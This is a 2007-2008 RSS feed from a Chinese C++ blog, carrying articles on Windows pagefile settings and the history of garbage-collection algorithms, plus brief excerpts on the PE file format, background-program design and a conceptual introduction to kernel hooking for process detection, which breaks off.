﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-旅途-文章分类-深入windows</title><link>http://www.cppblog.com/mydriverc/category/4528.html</link><description>如果想飞得高，就该把地平线忘掉</description><language>zh-cn</language><lastBuildDate>Mon, 19 May 2008 13:38:37 GMT</lastBuildDate><pubDate>Mon, 19 May 2008 13:38:37 GMT</pubDate><ttl>60</ttl><item><title>计算机虚拟内存最小值太低的解决和处理办法</title><link>http://www.cppblog.com/mydriverc/articles/35282.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Fri, 26 Oct 2007 16:36:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/35282.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/35282.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/35282.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/35282.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/35282.html</trackback:ping><description><![CDATA[
		<font size="4">
虚拟内存的概念是相对于物理内存而言的，当系统的物理内存空间入不敷出时，操作系统便会在硬盘上开辟一块磁盘空间当做内存使用，这部分硬盘空间就叫虚拟内
存。Windows 98中采用Win386.swp文件的形式，而Windows
2000/XP则采用页面文件pagefile.sys的形式来管理虚拟内存。 <br />    一、大小情况 <br />    1.一般情况 <br />    一般情况下，建议让Windows来自动分配管理虚拟内存，它能根据实际内存的使用情况，动态调整虚拟内存的大小。 <br />    2.关于最小值 <br />    Windows建议页面文件的最小值应该为当前系统物理内存容量再加上12MB，而对于物理内存容量小于256MB的用户，则建议将页面文件的最小值设得更大些：①使用128MB或者更少内存的用户，建议将当前物理内存容量的1.75倍设置为页面文件的最小值。 <br />②内存大小在128MB到256MB之间的用户，建议将当前物理内存容量的1.5倍设置为页面文件的最小值。 <br />    3.关于最大值 <br />    一般来说，页面文件的最大值设置得越大越好，建议设置为最小值的2到3倍。 <br />    4.极端情况 <br />    假如硬盘空间比较紧张，在设置页面文件时，只需保证它不小于物理内存的3/4即可。 <br /><br />    如果物理内存很大(大于512MB)，则可以将虚拟内存禁用。 <br />    5.根据不同的任务环境设置 <br />    ①以3D游戏为主的环境 <br />3D游戏对CPU、显卡和内存要求都很高，如果物理内存小于256MB，建议把虚拟内存预设得大一点，这对提高游戏的稳定性和流畅性很有帮助。 <br />    ②以播放视频为主的环境 <br />   
视频应用对硬盘空间的“胃口”很大，不过千万不要像在3D游戏环境中一样把虚拟内存设得很大，尤其是Windows XP的用户。因为Windows
XP不会自动把不需要的空间释放掉，也就是说那个Pagefiles.sys文件会越来越大。如果你把虚拟内存和Windows
XP放在同一分区，播放RM、ASF等视频流文件以后，系统经常会提示你虚拟内存设得太小或是磁盘空间不足。查看此时的页面文件，已经足有1GB大小了。
所以建议经常欣赏视频文件的Windows XP用户，把初始数值设小一点，或者将虚拟内存转移到系统盘以外的分区。 <br />    二、设置方法 <br />   
下面以在Windows
XP下转移虚拟内存所在盘符为例介绍虚拟内存的设置方法：进入“打开→控制面板→系统”，选择“高级”选项卡，点击“性能”栏中的“设置”按钮，选择“高
级”选项卡，点击“虚拟内存”栏内的“更改”按钮，即可进入“虚拟内存”窗口；在驱动器列表中选中系统盘符，然后勾选“无分页文件”选项，再单击“设置”
按钮；接着点击其他分区，选择“自定义大小”选项，在“初始大小”和“最大值”中设定数值，然后单击“设置”按钮，最后点击“确定”按钮退出即可。 </font>
		<p>
				<font size="4">   
象这个问题,解决的根本办法,是买个适合你主板的内存条。右击我的电脑——属性——高级——性能--设置——高级——最下面就可以看到“虚拟内存”栏了，
选择你要把虚拟内存放哪个盘，然后自定义最大值和最小值就可以了，一般虚拟内存设置为物理内存的1.5—2倍为最佳，例如你的内存是512M的，那么虚拟
内存应设置为768M—1024M，依此类推~！</font>
		</p>
<img src ="http://www.cppblog.com/mydriverc/aggbug/35282.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-10-27 00:36 <a href="http://www.cppblog.com/mydriverc/articles/35282.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>垃圾收集机制 </title><link>http://www.cppblog.com/mydriverc/articles/29611.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Wed, 08 Aug 2007 16:54:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/29611.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/29611.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/29611.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/29611.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/29611.html</trackback:ping><description><![CDATA[作本文的初衷是想和大家分享垃圾收集（ Garbage Collection ）技术简单而有趣的发展史。动笔之前，我站在窗边，望了望正在小区里装运垃圾的清洁车。和生活中环卫工人们清运垃圾的工作相似，软件开发里的垃圾收集其实就是一种自动打扫和清除内存垃圾的技术，它可以有效防范动态内存分配中可能发生的两个危险：因内存垃圾过多而引发的内存耗尽（这和生活垃圾堵塞排污管道的危险并没有什么本质的不同），以及不恰当的内存释放所造成的内存非法引用（这类似于我们在生活中买到了一瓶已经过期三年的牛奶）。 
<p>据历史学家们介绍，四千多年前的古埃及人已经在城市里建设了完善的排污和垃圾清运设施，一千多年前的中国人更是修筑了当时世界上保洁能力最强的都市 ——长安。今天，当我们在软件开发中体验自动垃圾收集的便捷与舒适时，我们至少应当知道，这种拒绝杂乱、追求整洁的“垃圾收集”精神其实是人类自古以来就已经具备了的。 </p><p>拓荒时代<br />国内的程序员大多是在 Java 语言中第一次感受到垃圾收集技术的巨大魅力的，许多人也因此把 Java 和垃圾收集看成了密不可分的整体。但事实上，垃圾收集技术早在 Java 语言问世前 30 多年就已经发展和成熟起来了， Java 语言所做的不过是把这项神奇的技术带到了广大程序员身边而已。 </p><p>如果一定要为垃圾收集技术找一个孪生兄弟，那么， Lisp 语言才是当之无愧的人选。 1960 年前后诞生于 MIT 的 Lisp 语言是第一种高度依赖于动态内存分配技术的语言： Lisp 中几乎所有数据都以“表”的形式出现，而“表”所占用的空间则是在堆中动态分配得到的。 Lisp 语言先天就具有的动态内存管理特性要求 Lisp 语言的设计者必须解决堆中每一个内存块的自动释放问题（否则， Lisp 程序员就必然被程序中不计其数的 free 或 delete 语句淹没），这直接导致了垃圾收集技术的诞生和发展——说句题外话，上大学时，一位老师曾告诉我们， Lisp 是对现代软件开发技术贡献最大的语言。我当时对这一说法不以为然：布满了圆括号，看上去像迷宫一样的 Lisp 语言怎么能比 C 语言或 Pascal 语言更伟大呢？不过现在，当我知道垃圾收集技术、数据结构技术、人工智能技术、并行处理技术、虚拟机技术、元数据技术以及程序员们耳熟能详的许多技术都起源于 Lisp 语言时，我特别想向那位老师当面道歉，并收回我当时的幼稚想法。 </p><p>知道了 Lisp 语言与垃圾收集的密切关系，我们就不难理解，为什么垃圾收集技术的两位先驱者 J. McCarthy 和 M. L. Minsky 同时也是 Lisp 语言发展史上的重要人物了。 J. McCarthy 是 Lisp 之父，他在发明 Lisp 语言的同时也第一次完整地描述了垃圾收集的算法和实现方式； M. L. Minsky 则在发展 Lisp 语言的过程中成为了今天好几种主流垃圾收集算法的奠基人——和当时不少技术大师的经历相似， J. McCarthy 和 M. L. Minsky 在许多不同的技术领域里都取得了令人艳羡的成就。也许，在 1960 年代那个软件开发史上的拓荒时代里，思维敏捷、意志坚定的研究者更容易成为无所不能的西部硬汉吧。 </p><p>在了解垃圾收集算法的起源之前，有必要先回顾一下内存分配的主要方式。我们知道，大多数主流的语言或运行环境都支持三种最基本的内存分配方式，它们分别是： </p><p>一、静态分配（ Static Allocation ）：静态变量和全局变量的分配形式。我们可以把静态分配的内存看成是家里的耐用家具。通常，它们无需释放和回收，因为没人会天天把大衣柜当作垃圾扔到窗外。 </p><p>二、自动分配（ Automatic Allocation ）：在栈中为局部变量分配内存的方法。栈中的内存可以随着代码块退出时的出栈操作被自动释放。这类似于到家中串门的访客，天色一晚就要各回各家，除了个别不识时务者以外，我们一般没必要把客人捆在垃圾袋里扫地出门。 </p><p>三、动态分配（ Dynamic Allocation ）：在堆中动态分配内存空间以存储数据的方式。堆中的内存块好像我们日常使用的餐巾纸，用过了就得扔到垃圾箱里，否则屋内就会满地狼藉。像我这样的懒人做梦都想有一台家用机器人跟在身边打扫卫生。在软件开发中，如果你懒得释放内存，那么你也需要一台类似的机器人——这其实就是一个由特定算法实现的垃圾收集器。 </p><p>也就是说，下面提到的所有垃圾收集算法都是在程序运行过程中收集并清理废旧“餐巾纸”的算法，它们的操作对象既不是静态变量，也不是局部变量，而是堆中所有已分配内存块。</p><p>引用计数（ Reference Counting ）算法<br />1960 年以前，人们为胚胎中的 Lisp 语言设计垃圾收集机制时，第一个想到的算法是引用计数算法。拿餐巾纸的例子来说，这种算法的原理大致可以描述为： </p><p>午餐时，为了把脑子里突然跳出来的设计灵感记下来，我从餐巾纸袋中抽出一张餐巾纸，打算在上面画出系统架构的蓝图。按照“餐巾纸使用规约之引用计数版”的要求，画图之前，我必须先在餐巾纸的一角写上计数值 1 ，以表示我在使用这张餐巾纸。这时，如果你也想看看我画的蓝图，那你就要把餐巾纸上的计数值加 1 ，将它改为 2 ，这表明目前有 2 个人在同时使用这张餐巾纸（当然，我是不会允许你用这张餐巾纸来擦鼻涕的）。你看完后，必须把计数值减 1 ，表明你对该餐巾纸的使用已经结束。同样，当我将餐巾纸上的内容全部誊写到笔记本上之后，我也会自觉地把餐巾纸上的计数值减 1 。此时，不出意外的话，这张餐巾纸上的计数值应当是 0 ，它会被垃圾收集器——假设那是一个专门负责打扫卫生的机器人——捡起来扔到垃圾箱里，因为垃圾收集器的惟一使命就是找到所有计数值为 0 的餐巾纸并清理它们。 </p><p>引用计数算法的优点和缺陷同样明显。这一算法在执行垃圾收集任务时速度较快，但算法对程序中每一次内存分配和指针操作提出了额外的要求（增加或减少内存块的引用计数）。更重要的是，引用计数算法无法正确释放循环引用的内存块，对此， D. Hillis 有一段风趣而精辟的论述： </p><p>一天，一个学生走到 Moon 面前说：“我知道如何设计一个更好的垃圾收集器了。我们必须记录指向每个结点的指针数目。” Moon 耐心地给这位学生讲了下面这个故事：“一天，一个学生走到 Moon 面前说：‘我知道如何设计一个更好的垃圾收集器了……’” </p><p>D. Hillis 的故事和我们小时候常说的“从前有座山，山上有个庙，庙里有个老和尚”的故事有异曲同工之妙。这说明，单是使用引用计数算法还不足以解决垃圾收集中的所有问题。正因为如此，引用计数算法也常常被研究者们排除在狭义的垃圾收集算法之外。当然，作为一种最简单、最直观的解决方案，引用计数算法本身具有其不可替代的优越性。 1980 年代前后， D. P. Friedman ， D. S. Wise ， H. G. Baker 等人对引用计数算法进行了数次改进，这些改进使得引用计数算法及其变种（如延迟计数算法等）在简单的环境下，或是在一些综合了多种算法的现代垃圾收集系统中仍然可以一展身手。 </p><p>标记－清除（ Mark-Sweep ）算法<br />第一种实用和完善的垃圾收集算法是 J. McCarthy 等人在 1960 年提出并成功地应用于 Lisp 语言的标记－清除算法。仍以餐巾纸为例，标记－清除算法的执行过程是这样的： </p><p>午餐过程中，餐厅里的所有人都根据自己的需要取用餐巾纸。当垃圾收集机器人想收集废旧餐巾纸的时候，它会让所有用餐的人先停下来，然后，依次询问餐厅里的每一个人：“你正在用餐巾纸吗？你用的是哪一张餐巾纸？”机器人根据每个人的回答将人们正在使用的餐巾纸画上记号。询问过程结束后，机器人在餐厅里寻找所有散落在餐桌上且没有记号的餐巾纸（这些显然都是用过的废旧餐巾纸），把它们统统扔到垃圾箱里。 </p><p>正如其名称所暗示的那样，标记－清除算法的执行过程分为“标记”和“清除”两大阶段。这种分步执行的思路奠定了现代垃圾收集算法的思想基础。与引用计数算法不同的是，标记－清除算法不需要运行环境监测每一次内存分配和指针操作，而只要在“标记”阶段中跟踪每一个指针变量的指向——用类似思路实现的垃圾收集器也常被后人统称为跟踪收集器（ Tracing Collector ） </p><p>伴随着 Lisp 语言的成功，标记－清除算法也在大多数早期的 Lisp 运行环境中大放异彩。尽管最初版本的标记－清除算法在今天看来还存在效率不高（标记和清除是两个相当耗时的过程）等诸多缺陷，但在后面的讨论中，我们可以看到，几乎所有现代垃圾收集算法都是标记－清除思想的延续，仅此一点， J. McCarthy 等人在垃圾收集技术方面的贡献就丝毫不亚于他们在 Lisp 语言上的成就了。 </p><p>复制（ Copying ）算法<br />为了解决标记－清除算法在垃圾收集效率方面的缺陷， M. L. Minsky 于 1963 年发表了著名的论文“一种使用双存储区的 Lisp 语言垃圾收集器（ A LISP Garbage Collector Algorithm Using Serial Secondary Storage ）”。 M. L. Minsky 在该论文中描述的算法被人们称为复制算法，它也被 M. L. Minsky 本人成功地引入到了 Lisp 语言的一个实现版本中。 </p><p>复制算法别出心裁地将堆空间一分为二，并使用简单的复制操作来完成垃圾收集工作，这个思路相当有趣。借用餐巾纸的比喻，我们可以这样理解 M. L. Minsky 的复制算法： </p><p>餐厅被垃圾收集机器人分成南区和北区两个大小完全相同的部分。午餐时，所有人都先在南区用餐（因为空间有限，用餐人数自然也将减少一半），用餐时可以随意使用餐巾纸。当垃圾收集机器人认为有必要回收废旧餐巾纸时，它会要求所有用餐者以最快的速度从南区转移到北区，同时随身携带自己正在使用的餐巾纸。等所有人都转移到北区之后，垃圾收集机器人只要简单地把南区中所有散落的餐巾纸扔进垃圾箱就算完成任务了。下一次垃圾收集的工作过程也大致类似，惟一的不同只是人们的转移方向变成了从北区到南区。如此循环往复，每次垃圾收集都只需简单地转移（也就是复制）一次，垃圾收集速度无与伦比——当然，对于用餐者往返奔波于南北两区之间的辛劳，垃圾收集机器人是决不会流露出丝毫怜悯的。 </p><p>M. L. Minsky 的发明绝对算得上一种奇思妙想。分区、复制的思路不仅大幅提高了垃圾收集的效率，而且也将原本繁纷复杂的内存分配算法变得前所未有地简明和扼要（既然每次内存回收都是对整个半区的回收，内存分配时也就不用考虑内存碎片等复杂情况，只要移动堆顶指针，按顺序分配内存就可以了），这简直是个奇迹！不过，任何奇迹的出现都有一定的代价，在垃圾收集技术中，复制算法提高效率的代价是人为地将可用内存缩小了一半。实话实说，这个代价未免也太高了一些。 </p><p>无论优缺点如何，复制算法在实践中都获得了可以与标记－清除算法相比拟的成功。除了 M. L. Minsky 本人在 Lisp 语言中的工作以外，从 1960 年代末到 1970 年代初， R. R. Fenichel 和 J. C. Yochelson 等人也相继在 Lisp 语言的不同实现中对复制算法进行了改进， S. Arnborg 更是成功地将复制算法应用到了 Simula 语言中。 </p><p>至此，垃圾收集技术的三大传统算法——引用计数算法、标记－清除算法和复制算法——都已在 1960 年前后相继问世，三种算法各有所长，也都存在致命的缺陷。从 1960 年代后期开始，研究者的主要精力逐渐转向对这三种传统算法进行改进或整合，以扬长避短，适应程序设计语言和运行环境对垃圾收集的效率和实时性所提出的更高要求。 </p><p><br />走向成熟<br />从 1970 年代开始，随着科学研究和应用实践的不断深入，人们逐渐意识到，一个理想的垃圾收集器不应在运行时导致应用程序的暂停，不应额外占用大量的内存空间和 CPU 资源，而三种传统的垃圾收集算法都无法满足这些要求。人们必须提出更新的算法或思路，以解决实践中碰到的诸多难题。当时，研究者的努力目标包括： </p><p>第一，提高垃圾收集的效率。使用标记－清除算法的垃圾收集器在工作时要消耗相当多的 CPU 资源。早期的 Lisp 运行环境收集内存垃圾的时间竟占到了系统总运行时间的 40% ！——垃圾收集效率的低下直接造就了 Lisp 语言在执行速度方面的坏名声；直到今天，许多人还条件反射似地误以为所有 Lisp 程序都奇慢无比。 </p><p>第二，减少垃圾收集时的内存占用。这一问题主要出现在复制算法中。尽管复制算法在效率上获得了质的突破，但牺牲一半内存空间的代价仍然是巨大的。在计算机发展的早期，在内存价格以 KB 计算的日子里，浪费客户的一半内存空间简直就是在变相敲诈或拦路打劫。 </p><p>第三，寻找实时的垃圾收集算法。无论执行效率如何，三种传统的垃圾收集算法在执行垃圾收集任务时都必须打断程序的当前工作。这种因垃圾收集而造成的延时是许多程序，特别是执行关键任务的程序没有办法容忍的。如何对传统算法进行改进，以便实现一种在后台悄悄执行，不影响——或至少看上去不影响——当前进程的实时垃圾收集器，这显然是一件更具挑战性的工作。 </p><p>研究者们探寻未知领域的决心和研究工作的进展速度同样令人惊奇：在 1970 年代到 1980 年代的短短十几年中，一大批在实用系统中表现优异的新算法和新思路脱颖而出。正是因为有了这些日趋成熟的垃圾收集算法，今天的我们才能在 Java 或 .NET 提供的运行环境中随心所欲地分配内存块，而不必担心空间释放时的风险。 </p><p>标记－整理（ Mark-Compact ）算法<br />标记－整理算法是标记－清除算法和复制算法的有机结合。把标记－清除算法在内存占用上的优点和复制算法在执行效率上的特长综合起来，这是所有人都希望看到的结果。不过，两种垃圾收集算法的整合并不像 1 加 1 等于 2 那样简单，我们必须引入一些全新的思路。 1970 年前后， G. L. Steele ， C. J. Cheney 和 D. S. Wise 等研究者陆续找到了正确的方向，标记－整理算法的轮廓也逐渐清晰了起来： </p><p>在我们熟悉的餐厅里，这一次，垃圾收集机器人不再把餐厅分成两个南北区域了。需要执行垃圾收集任务时，机器人先执行标记－清除算法的第一个步骤，为所有使用中的餐巾纸画好标记，然后，机器人命令所有就餐者带上有标记的餐巾纸向餐厅的南面集中，同时把没有标记的废旧餐巾纸扔向餐厅北面。这样一来，机器人只消站在餐厅北面，怀抱垃圾箱，迎接扑面而来的废旧餐巾纸就行了。 </p><p>实验表明，标记－整理算法的总体执行效率高于标记－清除算法，又不像复制算法那样需要牺牲一半的存储空间，这显然是一种非常理想的结果。在许多现代的垃圾收集器中，人们都使用了标记－整理算法或其改进版本。 </p><p>增量收集（ Incremental Collecting ）算法<br />对实时垃圾收集算法的研究直接导致了增量收集算法的诞生。 </p><p>最初，人们关于实时垃圾收集的想法是这样的：为了进行实时的垃圾收集，可以设计一个多进程的运行环境，比如用一个进程执行垃圾收集工作，另一个进程执行程序代码。这样一来，垃圾收集工作看上去就仿佛是在后台悄悄完成的，不会打断程序代码的运行。 </p><p>在收集餐巾纸的例子中，这一思路可以被理解为：垃圾收集机器人在人们用餐的同时寻找废弃的餐巾纸并将它们扔到垃圾箱里。这个看似简单的思路会在设计和实现时碰上进程间冲突的难题。比如说，如果垃圾收集进程包括标记和清除两个工作阶段，那么，垃圾收集器在第一阶段中辛辛苦苦标记出的结果很可能被另一个进程中的内存操作代码修改得面目全非，以至于第二阶段的工作没有办法开展。 </p><p>M. L. Minsky 和 D. E. Knuth 对实时垃圾收集过程中的技术难点进行了早期的研究， G. L. Steele 于 1975 年发表了题为“多进程整理的垃圾收集（ Multiprocessing compactifying garbage collection ）”的论文，描述了一种被后人称为“ Minsky-Knuth-Steele 算法”的实时垃圾收集算法。 E. W. Dijkstra ， L. Lamport ， R. R. Fenichel 和 J. C. Yochelson 等人也相继在此领域做出了各自的贡献。 1978 年， H. G. Baker 发表了“串行计算机上的实时表处理技术（ List Processing in Real Time on a Serial Computer ）”一文，系统阐述了多进程环境下用于垃圾收集的增量收集算法。 </p><p>增量收集算法的基础仍是传统的标记－清除和复制算法。增量收集算法通过对进程间冲突的妥善处理，允许垃圾收集进程以分阶段的方式完成标记、清理或复制工作。详细分析各种增量收集算法的内部机理是一件相当繁琐的事情，在这里，读者们需要了解的仅仅是： H. G. Baker 等人的努力已经将实时垃圾收集的梦想变成了现实，我们再也不用为垃圾收集打断程序的运行而烦恼了。 </p><p>分代收集（ Generational Collecting ）算法<br />和大多数软件开发技术一样，统计学原理总能在技术发展的过程中起到强力催化剂的作用。 1980 年前后，善于在研究中使用统计分析知识的技术人员发现，大多数内存块的生存周期都比较短，垃圾收集器应当把更多的精力放在检查和清理新分配的内存块上。这个发现对于垃圾收集技术的价值可以用餐巾纸的例子概括如下： </p><p>如果垃圾收集机器人足够聪明，事先摸清了餐厅里每个人在用餐时使用餐巾纸的习惯——比如有些人喜欢在用餐前后各用掉一张餐巾纸，有的人喜欢自始至终攥着一张餐巾纸不放，有的人则每打一个喷嚏就用去一张餐巾纸——机器人就可以制定出更完善的餐巾纸回收计划，并总是在人们刚扔掉餐巾纸没多久就把垃圾捡走。这种基于统计学原理的做法当然可以让餐厅的整洁度成倍提高。 </p><p>D. E. Knuth ， T. Knight ， G. Sussman 和 R. Stallman 等人对内存垃圾的分类处理做了最早的研究。 1983 年， H. Lieberman 和 C. Hewitt 发表了题为“基于对象寿命的一种实时垃圾收集器（ A real-time garbage collector based on the lifetimes of objects ）”的论文。这篇著名的论文标志着分代收集算法的正式诞生。此后，在 H. G. Baker ， R. L. Hudson ， J. E. B. Moss 等人的共同努力下，分代收集算法逐渐成为了垃圾收集领域里的主流技术。 </p><p>分代收集算法通常将堆中的内存块按寿命分为两类，年老的和年轻的。垃圾收集器使用不同的收集算法或收集策略，分别处理这两类内存块，并特别地把主要工作时间花在处理年轻的内存块上。分代收集算法使垃圾收集器在有限的资源条件下，可以更为有效地工作——这种效率上的提高在今天的 Java 虚拟机中得到了最好的证明。 </p><p>应用浪潮<br />Lisp 是垃圾收集技术的第一个受益者，但显然不是最后一个。在 Lisp 语言之后，许许多多传统的、现代的、后现代的语言已经把垃圾收集技术拉入了自己的怀抱。随便举几个例子吧：诞生于 1964 年的 Simula 语言， 1969 年的 Smalltalk 语言， 1970 年的 Prolog 语言， 1973 年的 ML 语言， 1975 年的 Scheme 语言， 1983 年的 Modula-3 语言， 1986 年的 Eiffel 语言， 1987 年的 Haskell 语言……它们都先后使用了自动垃圾收集技术。当然，每一种语言使用的垃圾收集算法可能不尽相同，大多数语言和运行环境甚至同时使用了多种垃圾收集算法。但无论怎样，这些实例都说明，垃圾收集技术从诞生的那一天起就不是一种曲高和寡的“学院派”技术。 </p><p>对于我们熟悉的 C 和 C++ 语言，垃圾收集技术一样可以发挥巨大的功效。正如我们在学校中就已经知道的那样， C 和 C++ 语言本身并没有提供垃圾收集机制，但这并不妨碍我们在程序中使用具有垃圾收集功能的函数库或类库。例如，早在 1988 年， H. J. Boehm 和 A. J. Demers 就成功地实现了一种使用保守垃圾收集算法（ Conservative GC Algorithmic ）的函数库（参见 <a href="http://www.hpl.hp.com/personal/Hans_Boehm/gc">http://www.hpl.hp.com/personal/Hans_Boehm/gc</a> ）。我们可以在 C 语言或 C++ 语言中使用该函数库完成自动垃圾收集功能，必要时，甚至还可以让传统的 C/C++ 代码与使用自动垃圾收集功能的 C/C++ 代码在一个程序里协同工作。 </p><p>1995 年诞生的 Java 语言在一夜之间将垃圾收集技术变成了软件开发领域里最为流行的技术之一。从某种角度说，我们很难分清究竟是 Java 从垃圾收集中受益，还是垃圾收集技术本身借 Java 的普及而扬名。值得注意的是，不同版本的 Java 虚拟机使用的垃圾收集机制并不完全相同， Java 虚拟机其实也经过了一个从简单到复杂的发展过程。在 Java 虚拟机的 1.4.1 版中，人们可以体验到的垃圾收集算法就包括分代收集、复制收集、增量收集、标记－整理、并行复制（ Parallel Copying ）、并行清除（ Parallel Scavenging ）、并发（ Concurrent ）收集等许多种， Java 程序运行速度的不断提升在很大程度上应该归功于垃圾收集技术的发展与完善。 </p><p>尽管历史上已经有许多包含垃圾收集技术的应用平台和操作系统出现，但 Microsoft .NET 却是第一种真正实用化的、包含了垃圾收集机制的通用语言运行环境。事实上， .NET 平台上的所有语言，包括 C# 、 Visual Basic .NET 、 Visual C++ .NET 、 J# 等等，都可以通过几乎完全相同的方式使用 .NET 平台提供的垃圾收集机制。我们似乎可以断言， .NET 是垃圾收集技术在应用领域里的一次重大变革，它使垃圾收集技术从一种单纯的技术变成了应用环境乃至操作系统中的一种内在文化。这种变革对未来软件开发技术的影响力也许要远远超过 .NET 平台本身的商业价值。 </p><p>大势所趋<br />今天，致力于垃圾收集技术研究的人们仍在不懈努力，他们的研究方向包括分布式系统的垃圾收集、复杂事务环境下的垃圾收集、数据库等特定系统的垃圾收集等等。 </p><p>但在程序员中间，仍有不少人对垃圾收集技术不屑一顾，他们宁愿相信自己逐行编写的 free 或 delete 命令，也不愿把垃圾收集的重任交给那些在他们看来既蠢又笨的垃圾收集器。 </p><p>我个人认为，垃圾收集技术的普及是大势所趋，这就像生活会越来越好一样毋庸置疑。今天的程序员也许会因为垃圾收集器要占用一定的 CPU 资源而对其望而却步，但二十多年前的程序员还曾因为高级语言速度太慢而坚持用机器语言写程序呢！在硬件速度日新月异的今天，我们是要吝惜那一点儿时间损耗而踟躇不前，还是该坚定不移地站在代码和运行环境的净化剂——垃圾收集的一边呢？ </p><br /><br /><p id="TBPingURL">Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1475358</p><br /><img src ="http://www.cppblog.com/mydriverc/aggbug/29611.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-08-09 00:54 <a href="http://www.cppblog.com/mydriverc/articles/29611.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PE文件格式 </title><link>http://www.cppblog.com/mydriverc/articles/29610.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Wed, 08 Aug 2007 16:53:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/29610.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/29610.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/29610.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/29610.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/29610.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 【翻译】“PE文件格式”1.9版 完整译文（附注释）=========================================================原著：Bernd. Luevelsmeyer                              翻译：ah007[注意：本译文的所有大小标题序号都是译者添加，以方便大家阅读。圆圈内的数字是注释的编号，其中注释②译自微软的《...&nbsp;&nbsp;<a href='http://www.cppblog.com/mydriverc/articles/29610.html'>阅读全文</a><img src ="http://www.cppblog.com/mydriverc/aggbug/29610.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-08-09 00:53 <a href="http://www.cppblog.com/mydriverc/articles/29610.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 一个后台运行程序的简单设计 </title><link>http://www.cppblog.com/mydriverc/articles/29609.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Wed, 08 Aug 2007 16:49:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/29609.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/29609.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/29609.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/29609.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/29609.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 很多时候，我们都会遇到编写后台运行程序的问题。编写后台运行程序的主要工作并不在接口上，而是在其作为服务器程序所完成的实际工作上。由于编写过不少后台工作程序，最初总是为程序的后台工作接口而苦恼不已。在这里，我贴出相关的代码，相信根据此设计，读者可以轻易地把它应用到自己的后台程序中去。		假设程序名称为startup，那么程序启动的接口为：		Startup:  启动该程序    Startu...&nbsp;&nbsp;<a href='http://www.cppblog.com/mydriverc/articles/29609.html'>阅读全文</a><img src ="http://www.cppblog.com/mydriverc/aggbug/29609.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-08-09 00:49 <a href="http://www.cppblog.com/mydriverc/articles/29609.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内核级利用通用Hook函数方法检测进程</title><link>http://www.cppblog.com/mydriverc/articles/28944.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 05:59:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28944.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28944.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28944.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28944.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28944.html</trackback:ping><description><![CDATA[介绍通用Hook的一点思想：<br>&nbsp;&nbsp;&nbsp;&nbsp;在系统内核级中，MS的很多信息都没公开，包括函数的参数数
目，每个参数的类型等。在系统内核中，访问了大量的寄存器，而很多寄存器的值，是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的
后果。另外有时候对需要Hook的函数的参数不了解，所以不能随便就去改变它的堆栈，如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的
Hook函数中呼叫原函数的时候，所有的寄存器值，堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数
